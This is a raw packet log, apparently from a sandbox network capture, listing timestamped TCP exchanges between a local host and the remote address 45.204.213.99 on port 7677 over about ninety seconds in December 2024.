Dec 22, 2024 09:29:10.794878960 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.794939041 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.795020103 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.799269915 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.799308062 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.799329996 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.803411961 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.803473949 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.803692102 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.807136059 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.807188988 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.807204962 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.811182022 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.811249018 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.811271906 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.815401077 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.815448046 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.815459967 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.815483093 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.815565109 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.815613985 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.817708969 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.817889929 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.817938089 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.819256067 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.819298029 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.819380999 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.822230101 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.822320938 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.822369099 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.823304892 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.823354959 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.823420048 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.826817036 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.826909065 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.826955080 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.827512026 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.827557087 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.827630043 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.831442118 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.831594944 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.831638098 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.831754923 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.831788063 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.831809044 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.835617065 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.835666895 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.835773945 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.835808039 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.835886955 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.835930109 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.839608908 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.839652061 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.839688063 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.839970112 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.840190887 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.840276003 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.843645096 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.843707085 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.843738079 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.844161987 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.844213963 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.844263077 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.847690105 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.847740889 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.847776890 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.848263025 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.848417997 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.848459959 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.851788044 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.851833105 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.851901054 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.852377892 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.852564096 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.852621078 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.855820894 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.855879068 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.855915070 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.856590986 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.856723070 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.856766939 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.859853983 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.859899998 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.859905005 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.860594034 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.860811949 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.860857964 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.864166975 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.864202023 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.864216089 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.864773035 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.864981890 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.865026951 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.868015051 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.868067026 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.868119001 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.868876934 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.868983030 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.869031906 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.872083902 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.872128963 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.872175932 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.873140097 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.873208046 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.873250961 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.876435041 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.876478910 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.877393007 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.877444983 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.877485991 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.881731987 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.882028103 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.882071972 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.886442900 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.886533976 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.886575937 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.889986992 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.890074968 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.890120029 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.893534899 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.893652916 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.893702030 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.897640944 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.897759914 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.897809029 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.902821064 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.902920008 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.902966022 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.906568050 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.906620979 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.906665087 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.910497904 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.910599947 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.910650015 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.914170027 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.914261103 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.914314985 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.918229103 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.918355942 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.918399096 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.922430038 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.922528028 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.922573090 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.926266909 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.926400900 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.926445007 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.926521063 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.926556110 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.926599979 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.927915096 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.928069115 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.928112030 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.931037903 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.931092024 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.931142092 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.931757927 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.932779074 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.932832956 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.932851076 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.934706926 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.934808016 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.934848070 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.935780048 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.935888052 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.938816071 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.938904047 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.938946962 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.942944050 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.942996025 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.943039894 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.947091103 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.947143078 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.947195053 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.951179981 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.951327085 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.951376915 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.955307007 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.955384970 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.955459118 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.959372997 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.960194111 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.960288048 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.960335970 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.961560011 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.961699963 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.961745977 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.964375019 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.964462042 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.964507103 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.967045069 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.967155933 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:10.967197895 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:10.969796896 CET	7677	49736	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.003777027 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:11.007626057 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.007746935 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.007786036 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:11.009331942 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.009547949 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.009587049 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:11.012877941 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.012974024 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.013025999 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:11.016822100 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.017004967 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.017043114 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:11.019392014 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:11.020184994 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.020253897 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.020306110 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:11.042536974 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.042658091 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.042701960 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:11.043952942 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.044063091 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.044110060 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:11.046685934 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.046797037 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.046835899 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:11.049300909 CET	7677	49737	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.097531080 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:11.901422024 CET	7677	49738	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:11.942143917 CET	49738	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:12.005924940 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:12.074868917 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:12.126544952 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:12.126619101 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:12.195061922 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:12.195207119 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:12.943516016 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:13.063215017 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:13.063465118 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:13.989824057 CET	49736	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:14.067928076 CET	49737	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:14.943430901 CET	49738	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:18.774816036 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:18.895129919 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:18.895204067 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:18.895236969 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:18.895265102 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:19.530600071 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:19.530838013 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:19.650410891 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:20.489411116 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:20.609211922 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:20.609255075 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:20.609291077 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:20.609318972 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:21.166152000 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:21.249398947 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:21.249629021 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:21.286552906 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:21.286582947 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:21.286639929 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:21.286668062 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:21.369237900 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:21.922535896 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:21.922981977 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:22.042615891 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:29.833781958 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:29.833784103 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:29.953421116 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:29.953526974 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:30.364742994 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:30.366378069 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:30.411995888 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:30.412002087 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:30.544481039 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:30.551487923 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:30.664057970 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:30.671077013 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:30.724625111 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:30.844454050 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:31.256556034 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:31.304543018 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:31.463490963 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:31.583149910 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:47.930079937 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:47.930130005 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:48.050035954 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:48.050072908 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:48.461496115 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:48.463073015 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:48.509010077 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:48.509042978 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:48.625688076 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:48.633096933 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:48.745398045 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:48.752712965 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:48.790544987 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:48.910399914 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:49.321837902 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:29:49.380451918 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:49.797136068 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:29:49.916990042 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:06.063807964 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:06.110193968 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:06.184361935 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:06.229789019 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:06.596607924 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:06.640861034 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:06.643614054 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:06.699872017 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:06.847846985 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:06.877763987 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:06.967350960 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:06.997838974 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:07.266596079 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:07.386197090 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:07.797791958 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:07.846184969 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:07.866573095 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:07.986135006 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:23.373635054 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:23.404849052 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:23.493479967 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:23.524677038 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:23.906037092 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:23.935837984 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:23.959129095 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:23.990360022 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:24.007057905 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:24.042670012 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:24.126645088 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:24.162314892 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:24.249010086 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:24.368846893 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:24.780489922 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:24.832555056 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:24.863259077 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:24.982774973 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:40.655158043 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:40.764569044 CET	49739	7677	192.168.2.4	45.204.213.99
